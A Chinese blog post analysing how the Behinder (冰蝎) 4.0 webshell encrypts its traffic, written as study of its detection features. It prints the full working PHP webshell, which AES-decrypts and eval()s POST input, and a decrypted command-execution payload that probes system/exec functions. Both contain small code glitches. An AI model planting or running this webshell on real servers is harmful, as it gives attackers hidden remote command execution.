網(wǎng)絡安全中流量加密實現(xiàn)工具冰蝎4.0介紹
前幾天寫完了蟻劍,今天就研究下冰蝎吧,
冰蝎最主要的是可以流量加密,由于其密鑰是可隨機變化而無法深度了解特征
在最新的冰蝎 4.0 中,有多種加密方式,比如 異或 ,基于 Base64 的異或,在要么就是經(jīng)典的 AES 加密等等共有 6 種加密方式,不同的加密方式其服務端的文件也是不一樣的的
從冰蝎 3.0 開始,開始了密鑰預共享制度,也就是在 WebShell 發(fā)過去的時候,密鑰就提前發(fā)了過去,避免了在傳輸密鑰的時候檢測到了流量特征
這六種加密方式在 WireShark 種都是加密狀態(tài),在這里就選一種來說明吧
就用 aes_with_magic 來說明吧
我們可以先看看服務端的文件
<?php @error_reporting(0); function Decrypt($data) { $key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的??16位,默認連接密碼rebeyond $magicNum=hexdec(substr($key,0,2))%16; //取magic tail長度 $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING); } $post=Decrypt(file_get_contents("php://input")); eval($post); ?>
開發(fā)者在注釋上說的很明白了,所以我就不再描述了
我們看看客戶端都發(fā)送了什么
讓我們利用 WireShark 抓包
難道我們就沒有辦法看源代碼了嗎?
不要著急,冰蝎提供了加解密模塊,就讓我們利用這個加解密模塊
然后我們經(jīng)過代碼格式化,就得到了一下代碼內容
<?php @error_reporting(0); function getSafeStr($str) { $s1 = iconv('utf-8', 'gbk//IGNORE', $str); $s0 = iconv('gbk', 'utf-8//IGNORE', $s1); if ($s0 == $str) { return $s0; } else { return iconv('gbk','u tf-8//IGNORE', $str); } } function main($cmd, $path) { @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (!empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and !$Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and !$Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes); $kWJW = NULL; while (!feof($pipes[1])) { $kWJW.= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and !$Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and !$Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and !$Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and !$Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (!feof($fp)) { $kWJW.= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result)); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result)); } function Encrypt($data) { $key = "e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的??16位,默認連接密碼rebeyond $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING)); $magicNum=hexdec(substr($key,0,2))%16; //根據(jù)密鑰動???確定魔法尾巴的長度 for($i=0;$i<$magicNum;$i++) { encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴 } return $encrypted; } $cmd="Y2QgL3Vzci9zaGFyZS9uZ2lueC9odG1sLyA7bHM=" ; $cmd=base64_decode($cmd); $path="L3Vzci9zaGFyZS9uZ2lueC9odG1sLw==" ; $path=base64_decode($path); main($cmd,$path); ?>
實際上這段代碼比蟻劍的更簡單(還是說我看蟻劍看的理解力提升了)
另外我們發(fā)送的指令并沒有在流量包里利用 POST 發(fā)送,而是直接放在代碼里,也就是以下部分
$cmd="Y2QgL3Vzci9zaGFyZS9uZ2lueC9odG1sLyA7bHM=" ; $cmd=base64_decode($cmd); $path="L3Vzci9zaGFyZS9uZ2lueC9odG1sLw==" ; $path=base64_decode($path); main($cmd,$path);
根據(jù)代碼可以看出是以 Base64 編碼的(都挺喜歡base64的)
這時候我們去 Base64 解碼的界面看一下
我們可以看見要執(zhí)行的文件路徑和命令
這些代碼的邏輯也很簡單,收到數(shù)據(jù)進行編碼,然后執(zhí)行 main 函數(shù),
這個 main 函數(shù)中有著路徑處理和 exec 敏感函數(shù)等處理
最后在輸出結果的時候把字符串統(tǒng)一歸為 UTF-8 輸出
根據(jù)代碼,我們將輸出 status 和 msg 兩個鍵,分別表示結果和值然后用 Base64 加密
根據(jù)抓包解密可以得出以下內容
mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7ZaYDIyHvQh3/rMjX01idF5A7UT6WKV/UN03gJabE2ZujoOYc/9WqnITIllXWXAt5uVnTlg08cteJYAmd9QKIu6xaqxV+4tL3vQe+voHNzIQU9prCMLpt9BiX4spz4lSDb+B0z851g/J7gU6v//pfaM1gMJBmsU54VA6eTzaUYZ4bcLm/G0Tgfl3Bg25+WXmCw=\
解密
{
"status":"c3VjY2Vzcw==",
"msg":"NDA0Lmh0bWwKNTB4Lmh0bWwKZW4tVVMKaWNvbnMKaW1nCmluZGV4LnBocApuZ2lueC1sb2dvLnBuZwpwb3dlcmVkYnkucG5nCnNoZWxsLnBocApzaGVsbDIucGhwCg=="
}
然后我們去解碼
這時候我們得到了 success 狀態(tài)(代碼里面也有寫 Fail ,估計是操作不當了),以及文件里面的路徑
流量特征說實話很難摸透,除非短時間內有大量相同的開頭,這就得好好商榷了
- 題外話
我發(fā)現(xiàn)新版的冰蝎多了很多好用的功能,比方平行空間,這么就可以看見局域網(wǎng)內存活的主機了
根據(jù)開發(fā)者說還可以蝎中蝎
到此這篇關于網(wǎng)絡安全中流量加密實現(xiàn)工具冰蝎4.0介紹的文章就介紹到這了,更多相關網(wǎng)絡安全冰蝎內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
網(wǎng)絡安全中流量加密實現(xiàn)工具冰蝎4.0介紹
冰蝎是一個動態(tài)二進制加密網(wǎng)站管理客戶端。在實戰(zhàn)中,第一代webshell管理工具"菜刀"的流量特征非常明顯,很容易就被安全設備檢測到?;诹髁考用艿膚ebshell變得越來越多,"冰蝎"在此應運而生2022-09-09一句話木馬的原理及利用分析(asp,aspx,php,jsp)
一句話木馬的原理及利用分析,大家在發(fā)現(xiàn)可疑情況下,需要注意檢查的地方。2011-02-02